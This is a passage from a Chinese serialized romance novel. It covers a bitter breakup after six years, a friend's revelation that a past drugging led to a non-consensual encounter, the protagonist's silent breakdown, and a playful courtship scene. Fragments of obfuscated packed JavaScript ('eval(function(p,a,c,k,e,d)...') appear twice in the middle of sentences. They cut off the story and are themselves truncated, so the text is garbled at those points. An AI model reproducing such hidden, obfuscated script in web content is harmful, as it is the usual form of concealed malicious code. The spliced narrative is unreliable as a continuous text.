南景将手机戳向邵既明的胸口,愤怒让他的眼眶赤红,泪水在边缘打转却倔强的不肯落下:“我怎么了?我这个正牌男朋友,在你眼里到底算什么东西?我连你一个普通朋友都不如!我不配得到你哪怕多打几个字的尊重,不配得到你一点主动的关心,是不是?!” 邵既明被他激烈的指控和近在咫尺的愤怒逼得后退了半步,“就因为这些?我觉得这没什么问题。我们的相处模式一直如此,是你突然变得不可理喻。” “我们之间最大的问题,”南景的声音忽然低了下来,不再高昂,却带着一种彻底心死后的清晰,他看着邵既明,像在看一个从未认识过的陌生人,“就是你觉得我们之间——没、有、问、题。” 他向前一步:“就像现在。你站在这里,用你的平静、你的理所应当,显得我像一个歇斯底里的疯子。邵既明,你从来没觉得你的冷漠是问题,你从来没觉得我的感受需要被正视。你只是站在你的高地上,看着我为你的一点点施舍或不变而感恩戴德,一旦我停下来问一句凭什么,就成了我在闹。” “六年了,我一直是这样。你最开始说,喜欢的就是这份稳定,不喜欢那些虚浮的热情。现在,你却把它叫作冷漠。如果我真的像你说的,站在什么遥不可及的高地上,当初,在你递来那杯酒、发生那件事之后,我就不会点头,不会允许你留在我身边,更不会有这六年。” “南景,你的感受,我听见了。”他顿了顿,似乎在给予这个听见应有的重量,但接下来的话,却将这份听见变成更深的嘲讽:“但听见,和你要求我必须为此改变全部的存在方式、行为逻辑,是两回事。” 南景只觉得一股冰冷的麻木感从脚底升起,迅速蔓延至四肢百骸,连方才沸腾的血液都似乎被冻结了。他看着邵既明那张英俊而无比陌生的脸,听着他条分缕析、将自己六年李承受的轻描淡写归结为“要求改变他全部存在方式”的论调,忽然觉得所有的愤怒、委屈、嘶吼,都成了打在棉花上、又反弹回来击中自己的可笑徒劳。 他张了张嘴,却发现喉咙被那股巨大的荒谬感堵住,发不出任何声音。最终,他只是极其缓慢、沉重地摇了摇头,抬起手,无力地摆了摆。算了。这个手势意味着,一切语言在此刻都已失效,一切争辩都毫无意义。他们之间隔着的,不是误会,是马里亚纳海沟般的认知鸿沟。 然而,邵既明将他这彻底放弃沟通的姿态,误解为了短暂的哑口无言。他语气甚至放缓了些,带着一种他自认为的宽容和给予台阶:“南景,过去的事,争执没有意义。跟我回去。别墅那里,一切都没有动。我当作……今晚的事没有发生过。我们还可以像以前一样。” “像以前一样”。 这五个字,像最后一根稻草,压垮了南景摇摇欲坠的神经。 “滚。” 这个字,很轻,从南景颤抖的、失去血色的唇间吐出来。 邵既明似乎没听清,或者说,无法理解这个字会从南景口中,以这样的方式,对他说出。他眉头猛地拧紧,脸上那副冷静自持的面具终于出现了第一道明显的裂痕,那是被冒犯、被挑战权威的震怒。 “南景!”他声音陡然拔高,一把攥住了南景的手臂,“你知不知道你在说什么?!” “我说,滚!”南景猛地抬头,他用力甩臂,这一次,用尽了全身的力气,竟然真的挣脱了邵既明的钳制。 “邵既明,你听清楚了!像以前一样?回到那个我发十条消息你回一个‘嗯’、我生病你让我多喝水、我所有喜怒哀乐在你眼里都是没必要的以前?回到那个我只是你一个习惯、一个省心的摆设的以前?” 他嗤笑一声:“你凭什么觉得,在我把一颗心掏出来放在你面前六年,被你晾到冷透、硬透、碎成渣之后,我还会稀罕你那施舍般的像以前一样?你那个以前,对我来说,就是他妈的地狱!” “那不是地狱!”邵既明终于被彻底激怒,或者说,是被南景全盘否定他们六年稳定关系的态度所刺痛,“那是现实!是成年人之间该有的相处方式!难道要像那些毛头小子一样,整天把情情爱爱挂在嘴边,才叫正常?南景,你以前不是这么幼稚、这么贪得无厌的人!” “贪得无厌?对,我贪得无厌!我贪心地想要我的男朋友能记住我的生日,而不是在我提醒后反问‘是吗’!我贪心地希望在我遇到困难时,他能说一句‘别怕,有我’,而不是‘你自己想办法’!我贪心地渴望一个拥抱、一点温度,而不是永远公事公办的冰冷!这他妈就是贪得无厌?!那你这六年来给我的,是什么?是施舍!是敷衍!是你高高在上赏给我的一点稳定的残羹冷炙!” “我给你的是信任!”邵既明低吼回去,某种更深处的东西被触及,让他额角青筋跳动,“我信任你不会像其他人一样纠缠不休,不会用无聊的情绪和琐事消耗我!我信任你能处理好自己的事情,能理解我的忙碌和……我的方式!这就是我能给出的!你还要什么?你到底还要我怎么样?!” “我要你把我当个人!当一个有血有肉、会痛会哭、需要被爱也被需要的人!而不是一个你信任的、不会出错的机器人!邵既明,你的信任真他妈廉价!廉价到连多问一句你怎么了都舍不得!你的信任就是把我当成一个没有需求的物件,摆在那里,不吵不闹,最好连呼吸都别太大声,免得打扰你的平静!” 他逼近一步,死死盯着邵既明那双终于泄露出一丝慌乱的眼睛:“你说你从未要求我改变?是,你没有要求。因为你根本不在乎我原本是什么样!你只是需要一个合适的、省心的伴侣形象,而我恰好符合,并且傻到为你把自己修剪成那个样子!我为了迎合你的稳定,收起了我所有的敏感、期待、甚至一部分的喜怒哀乐!我变得不敢多问,不敢索取,连难过都要先检讨是不是自己太作!这不是改变?这他妈是被你无声的冷漠凌迟了六年!” 南景的胸膛剧烈起伏,每一个字都耗尽了力气,但他不允许自己停下,“而你,邵既明,你站在你自以为安全的高地上,用‘我就是这样’、‘稳定就好’当挡箭牌,心安理得地享受我的妥协、我的付出、我小心翼翼维护的平静!你不敢付出真的感情,因为你懦弱!害怕任何需要你真正投入情绪、打破你掌控感的关系!所以你把我当成一个安全的、不会让你失控的选项,然后用‘习惯’来麻痹自己,也囚禁我!” “不是!”邵既明厉声打断。“你根本什么都不知道!”他声音嘶哑,理智的弦终于崩断,“你凭什么用你的臆想来审判我?!是,我是习惯了!习惯有什么错?这六年难道不是真实的?难道因为我没按照你剧本里的深情角色来演,就要被全盘否定?南景,你这不叫清醒,你这叫自私!你只看到了你想要而没得到的,却对我给出的视而不见!” “你给出了什么?邵既明,你问问你自己的心!”南景嘶声反问,泪水不知何时又流了满脸,“你给出了你的身体?你的时间?你的男朋友这个名分?然后就觉得,你可以理直气壮地收回所有情感上的温度,还要求我对此感激涕零?你给我的,是一个华丽的空壳,里面爬满了名为冷漠和忽视的蛀虫!而我傻,我花了六年,才听见这颗心被啃噬殆尽的声音!” 他抬手,用力抹去脸上的泪水,可新的泪水又汹涌而出。他不再看邵既明,而是望向远处沉沉的没有星光的夜空,声音低了下去:“你说得对,也许我就是自私。我自私地想要被爱,自私地想要一份有回应的感情,自私地……不想再继续这场只有我一个人在努力的独角戏了。” “邵既明,我们完了。不是因为你不好,也不是因为我贪得无厌。是因为,你要的稳定,是我耗不起的凌迟。我要的爱情,是你永远学不会的课题。” 说完,他不再停留,甚至没有再看邵既明瞬间苍白的脸和僵直的身体,转过身,一步一步,朝着与酒店、与他、与过去六年彻底相反的方向走去。脚步有些虚浮,背影在寒风中单薄得像一片即将被吹散的枯叶。 “南景!”邵既明的声音被夜风裹挟着,又追出几步,但前方那个决绝的背影没有丝毫停顿,甚至没有回头看一眼的迟疑。他像是被抽走了所有力气,僵立在原地,只能眼睁睁看着周冉快步追了上去,招手拦下一辆刚好经过的出租车。 南景拉开车门,俯身坐了进去,动作没有丝毫犹豫。周冉紧跟着钻进车里,关门之前,她猛地回过头,目光如淬火的刀子,狠狠剐向邵既明。那眼神里明明白白写着:你敢再上前一步试试,杀了你。 出租车尾灯亮起,划破夜色,很快汇入主干道的车流,消失在视线尽头。 邵既明仍站在原地,南景最后那几句话,那彻底心死、毫无留恋的眼神,反复凿击着他自以为坚固的逻辑城墙。 “得,”秦朗不知何时走到了他身侧,“你这下,是彻底没机会了。” 邵既明的喉结剧烈滚动了一下,他盯着出租车消失的方向,喃喃地重复着那个盘旋在他心底六年、支撑着他所有理所应当的基石:“为什么……?当初是他……是他下药都要和我上床。这段感情,从头到尾,都是他千方百计算计来的。他怎么敢……怎么敢回过头来这样指责我?” 秦朗猛地转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邵既明沉默了,那段混乱记忆的碎片不受控制地翻涌上来。燥热,眩晕,不受控制的冲动,还有眼前南景那张惊慌失措、试图推开他却最终无力抵抗的脸……他闭了闭眼,再睁开时,眸色更深:“……是我。”他顿了顿,声音艰涩,“我当时……被药效控制,但也想着……既然他如此处心积虑,那我……” “那你他妈就顺水推舟,还觉得自己是被设计的一方,所以理直气壮地享受了,然后把这当成他欠你的、你可以一辈子不用真正付出的借口?”秦朗再也忍不住,低吼出声,打断了邵既明未竟的话。他简直无法理解这种逻辑,“邵既明,你的脑子呢?!被药一起泡坏了吗?!” 他逼近一步,目光如炬,几乎要钉穿邵既明那层自欺欺人的外壳:“有没有一种可能,哪怕万分之一的可能性,南景他根本他妈的就不知情?!那杯酒,他碰都没碰,只是别人递给他,他转手给了你!他送你回房间,可能只是出于队友的关心!他压根儿就不知道你被下了药!然后,你,邵既明,你强上了他!” 秦朗的话像一把重锤,狠狠砸在邵既明心上。他下意识地想要反驳,嘴唇翕动,却发不出声音。 “这年头是不兴什么贞操观念,但南景是什么样的人你不清楚?他要是对你有意,用得着下药这种下三滥的手段?以他的条件,当年追他的人少吗?他要是对你没意思,被你强上之后,以他的性格,没报警告你□□都算是他心软念旧情!可他怎么做的?他以为你是清醒的,以为那晚至少有一半是出于你的意愿或喜欢,所以他觉得你们是互相有喜欢的,觉得对你有责任!” 秦朗越说越气,夹着烟的手指点虚空的点着他:“所以他才会说试试,留在你身边!所以他这六年才会掏心掏肺地对你好,容忍你所有的冷淡和忽视!你以为他是在赎罪吗?他是在用他妈的整个青春在爱你!” “不可能……”邵既明从牙缝里挤出几个字,脸色苍白得吓人,“酒是他递的……他怎么可能不知道……” “那杯酒,”秦朗几乎是咬着后槽牙,将那个尘封的真相血淋淋地剖开,摔在邵既明面前,“是司南那个小王八蛋,当年暗恋南景求而不得,脑子一抽下的药!他想给南景喝,结果南景接了,转手就递给了旁边的你!司南亲口说的,就在不久前的酒吧里,他到现在都没敢跟南景坦白!他怕南景知道后,连朋友都没得做!” 那些话仿佛一道惊雷在邵既明的脑海里炸开,又像是支撑他整个世界的那根最主要的承重柱,在瞬间崩碎瓦解。所有的声音、光线、寒冷的感觉都在急速褪去,耳边只剩下尖锐的、持续的耳鸣。他眼前阵阵发黑,脚下发软,几乎要站立不住。 所以…… 这么多年…… 他耿耿于怀的起点,他冷漠相对的借口,他心安理得享受付出的理由,他所有那些隐晦的、连自己都未必完全察觉的、基于被设计而产生的隔阂与防备…… 竟然全是一场荒谬绝伦的误会? 一个与南景本人,毫无关系的误会? 他以为的处心积虑,不过是一个胆小鬼卑劣而未遂的恶作剧,阴差阳错,落在了他的头上。 他以为的算计得来的感情,起点竟是南景毫不知情下的无妄之灾,以及他邵既明在药力催动下的……侵犯? 而他,竟然将这个天大的误会,当成了审判南景、轻视南景、并为自己情感吝啬开脱的尚方宝剑,用了整整六年! 六年。 两千多个日夜。 南景那些小心翼翼的靠近,那些被他忽略的欢喜与失落,那些无声的妥协与付出,那些最终被消耗殆尽、只剩下疲惫与绝望的眼神…… 不是赎罪,不是算计,而是一个人在遭受无妄之灾后,依然试图抓住一点微光、试图去爱、去相信的努力。 而他,邵既明,用一场根植于错误的冷漠审判,亲手掐灭了那点光,碾碎了那份真挚,还反过来质问对方:你怎么敢? 冰冷的夜风灌入他的领口,他却感觉不到丝毫寒意,他张了张嘴,想说什么,喉咙里却只发出一声近乎哽咽的气音。 秦朗看着他瞬间惨白如纸的脸,看着他眼中世界崩塌般的震动和茫然,将未吸完的烟狠狠摁灭在旁边的垃圾桶上,留下一个焦黑的印记。他没有再说任何话,只是拍了拍邵既明的肩膀,那力道不重,却带着一种沉重且无可言说的意味。 13. 有悲也有喜 深秋的夜,在陌生的酒店房间里,窗外的城市灯火渐次熄灭,只剩下远处零星的光点。 南景背靠着冰凉的酒店房门,身体缓缓下滑,最终蜷坐在厚重却毫无温度的地毯上。黑暗中,他睁着眼,目光没有焦距地落在对面墙壁模糊的阴影轮廓上。耳畔,脑海里,反反复复,都是在酒店门外,邵既明说的每一句话,每一个字,甚至是他说话时,那冷漠带着不耐的微表情。 「六年了,我一直是这样。」 「你问凭什么。就凭这六年里,我从未要求你改变成另一个人来爱我。」 「南景,跟我回去,我就当这事没发生过。」 …… 他以为自己已经耗尽了所有情绪,在街头的对峙中,那些愤怒、绝望、嘶吼,已经将他掏空。可此刻,在这绝对的安静与独处中,那些被激烈对抗暂时压下更深更细密的痛苦,无声无息地蔓延上来,淹没了他的口鼻,他的心脏,他每一寸试图保持冷静的神经。 紧绷了太久的那根弦,从他发出“分手吧”那条信息开始,或者说,从更早之前,从他一次次失望却还在自我说服时就开始紧绷的那根弦,终于,在无人看见的深夜里,承受不住这最后、也最沉重的一击,悄然崩断。 先是眼眶一阵剧烈的酸涩,视线迅速模糊,温热的液体失控地涌出,顺着冰冷的脸颊肆意流淌。然后,喉咙像被一只无形的手死死扼住,发不出任何声音。他张大了嘴,试图像普通人崩溃时那样嚎啕大哭,将胸腔里那股几乎要爆炸的痛楚和委屈嘶喊出来。 可是,没有声音。 只有急促破碎的吸气声,和更剧烈的颤抖。眼泪汹涌得近乎凶狠,瞬间打湿了前襟。他紧紧咬住自己的手腕,牙关深深陷进皮肉里,留下带血的齿痕,却依旧止不住那剧烈的颤抖。 那是怎样一副景象啊——一个成年男人,蜷在酒店房间角落的地上,张大嘴巴,面容因为极致的痛苦而扭曲,眼泪疯狂奔流,身体抖得像寒风中的落叶,却没有发出哪怕一丝一毫的哭泣声。仿佛所有的声音,所有的哀鸣,都被那股巨大的悲伤吞噬、封印在了喉咙深处,只能通过这样沉默而激烈的生理反应,来宣泄那足以撕裂灵魂的痛苦。 明明没有声音,却仿佛能听见他内心山崩地裂、世界倾覆的巨响。明明只是无声流泪,那颤抖的肩膀,绷紧的脊背,死死扣住地面的手指,却比任何嚎哭都更清晰地传达出那种无处遁形的崩溃。 原来,难过到极致,是哭不出声音的。 原来,心被碾碎成粉末,连带着发声的力气也一并被剥夺。 那些被他强行压抑、试图用理智和放下来掩埋的细节,此刻全都化作最锋利的碎片,在这无声的崩溃中翻搅—— 是无数个等他到深夜,最终独自睡去的夜晚。 是精心准备的饭菜凉透,对方却只回一句“吃过了”。 是生病时自己爬起来倒水吃药,得到的只是一个隔了很久的“哦”。 是分享趣事时石沉大海的对话框。 是纪念日他假装忘记,自己配合着演出的不在意。 以及今夜,对方依然理所当然的回去和当作没发生过。 不是不爱。是爱得太卑微,太用力,用力到迷失了自己,最终发现自己小心翼翼捧出的真心,在对方眼里,或许连一场需要认真对待的“发生”都算不上。 “就当这事没发生过”。 那他这六年的时光,这六年的真心,这六年所有的欢喜、期待、失落、挣扎、以及最后这撕心裂肺的痛……算什么? 一场可以随手抹去、不值一提的闹剧吗? 眼泪浸湿了裤子的面料,冰凉地贴在皮肤上。不知道这样无声地崩溃了多久,直到喉咙因为过度用力的压抑而灼痛,直到眼泪似乎流干,只剩下干涸的刺痛感,直到身体因为长时间的紧绷和颤抖而脱力,只剩下不受控制的抽噎。 他终于极其缓慢地抬起头。脸上泪痕交错,狼狈不堪,眼睛红肿得像核桃,眼神空洞地望着前方虚空中的某一点。 窗外,天色依旧沉黑,离黎明还很远。 南景就那样坐着,一动不动,所有的情绪似乎都在刚才那场无声的暴风雨中倾泻殆尽。 有些东西,是真的死了。 死在了这个陌生城市陌生酒店的深夜里。 死在了那场耗尽所有力气的争吵之后。 死在了这场,连声音都发不出来的,彻底崩溃之中。 周冉体贴的说自己想睡一天,不想出门了。南景知道她是因为自己,明白她的用心,默契的没有说谢谢,他们兄妹之间不讲这些虚的。周冉兑现了“睡一天”的宣言,穿着宽松柔软的居家服,长发随意挽起,露出光洁的脖颈,正抱着平板电脑歪在客厅沙发上刷剧,手边放着一杯喝了一半的冰拿铁,整个人透着一股“闲人勿扰,尤其姓秦的”的松散气息。 然而,“姓秦的”显然不在此列。 门铃不识趣地响起,清脆又执着。周冉翻了个白眼,假装没听见。门铃又响,还附带了两下有节奏的敲门声。 “谁啊?”她拖长了调子,没好气地问,身体却没动。 门外传来秦朗刻意压低、故作磁性的声音:“客房服务,特供一日男友体验卡,送货上门。” 周冉差点被自己的口水呛到,她放下平板,趿拉着拖鞋走到门口,从猫眼往外看。果然,秦朗那张带着过分灿烂笑容的脸几乎占据了整个视野。 她叹了口气,拧开门锁,但只拉开一条缝,双手抱胸,倚在门框上,挑眉看着他:“你来干什么?今日休战,恕不不接客。” “谁要跟你战了?我是来送温暖的。”秦朗咧嘴一笑,变戏法似的从背后拿出一束花,不是俗气的红玫瑰,而是配色高级、搭配着尤加利叶和白色郁金香的进口花束,用简约的牛皮纸包裹着,精致又清新。他双手捧着,脸上那副玩世不恭稍微收敛了些,眼神亮晶晶地看着她,语气是罕见的认真(至少表面看起来是):“谈恋爱要从一束花和一次正式的告白开始。书上说的。” 他清了清嗓子:“周冉女士,基于你之前对我实施的‘强制亲密接触’及长期精神‘骚扰’,本人经过慎重考虑,决定正式提出交往申请。这是我的诚意,”他举了举花,然后目光灼灼地看进她眼里,“冉冉,我爱你。可以和我交往吗?” 周冉面无表情地看着他,又看了看那束确实很漂亮的花,足足沉默了三秒。然后,她伸出手—— 却不是接花,而是直接推向秦朗的胸口,另一只手就势要关门。 “不可以。心意领了,门在那边,不送。” “哎哎哎!别急着关门啊!”秦朗反应极快,立刻用胳膊和半边身子抵住门缝,他那力气,周冉自然抵不过,但这抵抗本身也透着点虚张声势,她要是真用全力,他也未必能这么轻松挤进来。两人心知肚明,一个半推半就,一个顺水推舟。 秦朗成功挤进门内,还顺手用脚后跟带上了门。他熟门熟路地走到客厅,将那束花放在玻璃茶几上,然后像回到自己家一样,舒展了一下身体,望向窗外的江景:“啧,这酒店选得不错啊,视野开阔,江景一览无余,适合……培养感情。” 周冉慢吞吞地走回来,没理他的茬,在另一张单人沙发里瘫坐下,拿起冰拿铁喝了一口,才斜睨着他:“你多大了,还玩谈恋爱要从一束花开始这套?秦总,你商业谈判时的精明老练呢?被狗吃了?” 秦朗立刻转身,一脸无辜地眨眨眼:“我23啊,冉冉你不是知道吗?” “23?”周冉一时没反应过来。 “嗯啊,”秦朗点头,笑容灿烂得晃眼。 “……”周冉反应过来他在胡扯什么,抓起手边一个柔软的羽绒抱枕就朝他脑袋砸了过去,“骚包!你要点脸吧秦朗!!” 秦朗笑嘻嘻地准确接住“袭击”而来的抱枕,不但不躲,反而顺势抱着抱枕就倒进了长沙发里,摆出一个慵懒又欠揍的姿势,还故意扯了扯领口:“脸是什么?能吃吗?能换来你多看我两眼吗?不能的话,不要了。”他侧过头,枕着抱枕,眼神带钩地看着她,“再说了,我这样要钱有钱,要貌有貌,还深情专一(自封)、幽默风趣(自评)的优质股,难道还不够让你着迷,稍微那么动摇一下下你不婚不育保平安的钢铁信念?” “你确实让我着迷。”周冉学着他的腔调,然后皮笑肉不笑地补充,“着迷于你到底能有多不要脸,以及你的自信到底是从哪个批发市场论吨进货的。至于动摇?”她晃了晃食指,“不好意思,姐的信念是钛合金的,自带反油涂层。而且,我对一切需要长期维护、可能产生情绪废料的人际关系,都、没、耐、心。” “没耐心?”秦朗立刻抓住话头,从沙发上半撑起身,眼睛更亮了,开始翻旧账,“是谁当初在派对上,二话不说拉着我这个陌生人就往房间带的?是谁借着酒劲(他坚持认为是借口)扒我衬衫,数我腹肌有几块,还评价说‘手感不错,就是瘦了点’的?哦,对,还摸我喉结,说我声音好听……”他越说越来劲。 “停停停!打住!秦朗我警告你,再提那晚的事我立马把你从这32楼扔下去!”周冉耳朵尖有点发烫,抓起另一个抱枕做出防御姿态,“泡你是真的,姐承认,一时兴起,色令智昏,行了吧?但没后续也是真的!话题到此结束,over!我可不负责售后,更不负责你那一厢情愿、自我攻略的后续剧情发展。” 她放下抱枕,摆出一副谈判终结的姿态,甚至带着点哄小孩的敷衍语气:“要不这样,咱俩都实际点。你就当那晚是个美丽的错误,现在错误修正了。你,秦朗,大好青年,前途无量,适合找个门当户对、温柔贤淑、相信爱情相信婚姻的更好的。而我,” 她顿了顿,用一种近乎慈悲斩断一切妄念的眼神看着他,缓缓吐出几个字:“你就当我死了吧。一了百了,清净。” 房间里安静了一瞬,只有窗外的江风隐约呼啸。秦朗脸上的笑容慢慢收敛,他坐直身体,抱着那个羽绒抱枕,目光沉静地看着周冉,那眼神不再戏谑,反而有种看透一切的深邃。 就在周冉以为他要偃旗息鼓,或者说出什么伤春悲秋的话时—— 秦朗忽然抬手,摸了摸自己的下巴,若有所思地开口:“当你死了啊……这个设定,有点意思。” 周冉:“?” 秦朗屈起一条腿,手肘撑在膝盖上,指尖点着额角,真的开始认真构思起来:“那按照剧情,我现在应该处于痛失所爱、心如死灰的阶段。接下来,我是该立刻殉情追随你于地下,演一出感天动地的化蝶绝恋呢?还是该强忍悲痛,孤独终老,每天对着你的照片以泪洗面,成为朋友圈里著名的情种,顺便写本《忆冉书》流传后世?” 他越说越入戏,甚至带上了点朗诵腔:“‘冉冉离世那一日,朗朗心如刀绞,天地失色,江海呜咽……’啧,文笔还行。或者,更戏剧化一点,我因思念成疾,一夜白头,然后散尽家财,出家为僧,在青灯古佛前为你诵经祈福,直至圆寂?这样听起来是不是更深情、更带感?” 他抬眼,看向已经听得目瞪口呆、嘴角抽搐的周冉,眨了眨眼,露出一个无比“真挚”的困惑表情: “可是冉冉,我仔细想了想,这些剧本……好像都比不上我非要死皮赖脸地缠着你这个活蹦乱跳、能说能打、气死人不偿命的周冉来得有意思,来得让我……心跳加速啊。” 他放下抱枕,身体前倾,手臂搭在膝盖上,拉近了与她的距离,声音压低了,带着一种混不吝却异常清晰的执着:“所以,当你死了这个方案,恕难从命。我还是更喜欢你还活着,而且迟早会是我女朋友这个版本。难度是大了点,但我这人,就喜欢挑战高难度。尤其是,挑战你。” 他重新靠回沙发背,恢复了那副懒洋洋的样子,但看着周冉的眼神,却明明白白写着:我没开玩笑,也绝不会放弃。 阳光在茶几的花束上缓慢移动,空气里的微尘在光柱中轻舞。周冉听完秦朗那番歪理邪说,面无表情地看了他几秒,然后缓缓举起手中的平板电脑,屏幕对准他。 “看见没?”她指着屏幕上暂停的某部剧里,一个正被女主角暴打的猥琐配角,“你再不停止散发你那无处安放的深情人设光芒,你的脸,就会变得比这位仁兄还富有节奏感。” 秦朗凑近看了眼,啧啧摇头:“这哥们不行,挨打姿势不够帅。要是我,肯定用最优美的弧度倒下,确保每一帧都像世界名画《殉情者》,顺便还能露出我这件限量版衬衫的logo,血泪和奢侈品交相辉映,惨烈中带着格调,上热搜标题我都想好了——秦氏继承人为爱受辱,是道德的沦丧还是审美的升华?” “……”周冉放下平板,扶额,“秦朗,你的脸皮是跟着你的资产一起做对冲保值了吗?怎么越来越厚,还刀枪不入了?” “错。”秦朗竖起一根手指,严肃纠正,“我的脸皮只针对你做了特殊强化,属于周冉专属防弹版本。对外,我还是那个高贵冷艳、说一不二的秦总。”他顿了顿,补充,“当然,如果你肯对外官宣一下我,我也可以考虑增加一个炫妻狂魔的皮肤,就是那种看,这是我女朋友,厉害吧?但她不让我说的欠揍模式。” “还皮肤,你当自己是手游呢?抽卡还得保底是吧?可惜了,姐是SSR,还是绝版非卖品,不进入任何卡池,尤其是你这看起来就很容易歪池的普信男卡池。” “普信男?我这么优质还普信?冉冉,你摸着良心说,我这张脸,这身材,这财力,这幽默感,这死皮赖脸的专一度……哪一样普了?我这分明是六边形战士,顶配限量款!只是暂时……嗯,还没通过最终用户的兼容性测试。” “兼容性?”周冉被他的用词逗乐了,嗤笑一声,“咱俩的兼容性,大概就像iOS和安卓,看着都是智能手机,内核完全不同,强行刷机的结果就是变砖。我现在挺好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别别,暴力退散。”秦朗举手做投降状,但笑容不减,“开天灵盖多血腥,不符合我们高端恋爱的格调。我们可以进行一些更文明的‘深入交流’,比如探讨一下,你刚才说的没耐心,具体是针对哪方面?如果是逛街拎包,我可以雇人;如果是听你唠叨,我可以装人工耳蜗,自带赞美词库;如果是……床上那点事,我觉得我体力还行,应该不至于让你觉得无聊到没耐心……” “秦、朗!”周冉抄起手边一个沙发上的装饰小羊毛毡玩偶,这次直接砸向他脑袋,“你脑子里除了脐下三寸那点事,还能不能有点别的?我说没耐心,是指对所有需要长期经营、会产生情绪波动、可能让我伤心伤神伤钱的一切人际关系!听懂了吗?一切!包括你这种看起来就特别费心费神的六边形战士!” 秦朗接住软乎乎的羊毛毡玩偶,是一只丑萌的羊驼。他捏了捏,忽然把它举到脸旁边,学着羊驼的表情,歪头吐舌头,发出含糊的声音:“咩……费心费神?那你看我像不像一只安静的草泥马?平时就吃草(赚钱),偶尔吐口水(怼人),大部分时间保持微笑(看着你),情绪稳定,好养活,还不怎么掉毛(发际线稳固)。养一只呗,姐姐?” “……”周冉被他这突如其来的、毫无偶像包袱的模仿弄得一时语塞,“你……你真是……脸呢?秦氏集团的形象还要不要了?” “形象?”秦朗放下羊驼,一秒恢复正经脸,整理了一下并不凌乱的衣领,“形象那是给外人看的。在自家媳妇面前,要什么形象?怎么真实怎么来,怎么开心怎么闹。再说了,我这叫反差萌,现在流行这个。秦总对外冰山霸总,回家变身黏人修狗,这设定,放小说里都是要上畅销榜的。” “谁是你媳妇!修狗?我看你是修成精的哈士奇,拆家一流!”周冉终于忍不住,噗嗤一声笑出来,又赶紧板起脸,“还有,别乱认亲。我可没你这么大的……好大儿。” “哎!”秦朗突然响亮地应了一声,眼睛亮得惊人,“妈妈!” “噗!!!”周冉刚喝进嘴里的一口冰拿铁全喷了出来,好在及时扭开了头,但还是呛得直咳嗽,脸涨得通红,“秦朗你他妈……咳咳……你是不是有病!大病!” 秦朗立刻抽了张纸巾递过去,一脸“孝心”:“妈妈别激动,注意身体。虽然咱们这关系进展是快了点儿,从追求者直接跨物种到母子,但我不介意,真的。以后我就叫你冉妈,你叫我朗宝,咱各论各的。你要是实在接受不了这么刺激的,咱们退回上一步,预备役男友也行,我不挑。” 周冉接过纸巾擦嘴,好不容易止住咳,看着秦朗那副“我就喜欢你看不惯我又干不掉我”的贱嗖嗖样子,忽然觉得跟他生气都显得自己很傻。她长叹一口气,像是认命般瘫回沙发里,望着天花板:“我上辈子是不是炸了银河系,这辈子才派你来惩罚我?” “也可能是拯救呢?”秦朗也放松下来,学着她的样子瘫在对面沙发里,长腿一伸,几乎要碰到她的脚,“你看,我来了之后,你生活多了多少乐趣?以前就是赚钱、花钱、怼南景,现在多了个固定节目:怼秦朗。运动量增加了,笑容也多了,还能免费观看顶级脱口秀,附赠帅哥养眼服务。这性价比,比你那什么理财基金高多了吧?” “高个屁,精神损失费你赔吗?” “赔啊,用我余生的贴心服务慢慢赔,利滚利,情生情,保证让你连本带利,赚得盆满钵满。”秦朗侧过头,看着她,声音懒洋洋的,却带着温柔,“说真的,冉冉。你不用马上答应我,就像你不用马上相信爱情相信婚姻一样。你就当……身边多了个挺有意思的玩意儿,烦了逗两下,闷了骂几句,有事随便使唤,没事看着养眼。咱不盖章,不画押,不搞那些虚头巴脑的承诺。你就看看,我这个玩意儿,是不是比你看过的所有韩剧男主、小说男主、甚至你那堆‘热血动漫’里的纸片人,都更有趣,更……经久耐用?” 他停顿了一下,眼神里有难得一见的澄澈和坦诚,虽然语气依旧带着他特有的调侃:“万一,我是说万一啊,你看久了,忽然某天觉得:诶,这玩意儿好像也不是完全不能用,放家里当个镇宅的,偶尔暖个床,好像也不亏?那时候,你再考虑给我转个正,行不?” 房间里安静下来,只有窗外隐约的江涛声。阳光已经移到了那束花上,给白色的郁金香花瓣镶上了毛茸茸的金边。 周冉没说话,依旧看着天花板,但紧绷的肩膀和故意板着的脸,似乎柔和了那么一丝丝。过了好一会儿,她才幽幽地开口,声音闷闷的:“镇宅?我看是镇孽还差不多。还暖床,谁知道你会不会半夜变身,表演一个热水器成精?” 秦朗眼睛一亮,知道这就是她别扭的松动。他立刻顺杆爬,用气声模仿热水器启动的“嗡”声,然后压低嗓子,用一种午夜电台般的暧昧语调说:“您好,您的专属热水器已上线。本热水器支持多种模式:恒温陪伴模式、急速加热模式、以及……特别耗电但体验绝佳的鸳鸯共浴模式。请问尊贵的用户,今晚想试用哪种服务?首次体验,免费哦。” “滚!!!”周冉终于破功,抓起手边所有能抓的东西,一股脑地砸向那个笑得上气不接下气的男人。 秦朗一边笑着躲闪,一边心想:这堵钛合金墙,好像终于被我用不要脸的精神,凿出条能透光的缝了。虽然距离破墙而入还早,但至少,光能照进去了。 而周冉在愤怒的追击中,嘴角却不受控制地,悄悄弯起了一个弧度。 这个流氓……好像,也没那么烦人了。 14. 终于把隔壁那个不知道为什么写人物,发挥了一下效果 休息了一天后,南景脸上那种透支般的苍白褪去了一些,眼下深重的阴影也淡了些许。 周冉什么也没问,安静地坐在他对面,拿起一片吐司慢吞吞地吃。有些伤口,旁人即使看得见,也无法真正触摸到那份具体的痛楚。就像你没穿过他穿了六年的鞋,没走过他独自徘徊了六年的夜路,哪怕再心疼,再能共情,那磨破脚底的血泡,终究是隔了一层的。 接下来的几天,他们没急着离开淮汐。这个他们一同度过混乱青春期、彼此搀扶着长大的城,在深秋里显出一种褪色的温情。两人像完成一场迟来的仪式,去了很多地方。 他们找到了当年住的那片老旧居民区。巷子更窄了,墙皮剥落得更厉害,那栋灰扑扑的单元楼看上去比记忆里矮小了许多。楼下那家总是飘出油腻饭菜香的小餐馆居然还在,只是招牌换新了。两人站在巷口看了很久,南景的目光在那扇熟悉漆皮斑驳的窗户上停留了格外久的时间。那里曾是他们风雨飘摇时,唯一可以称之为家的方寸之地。 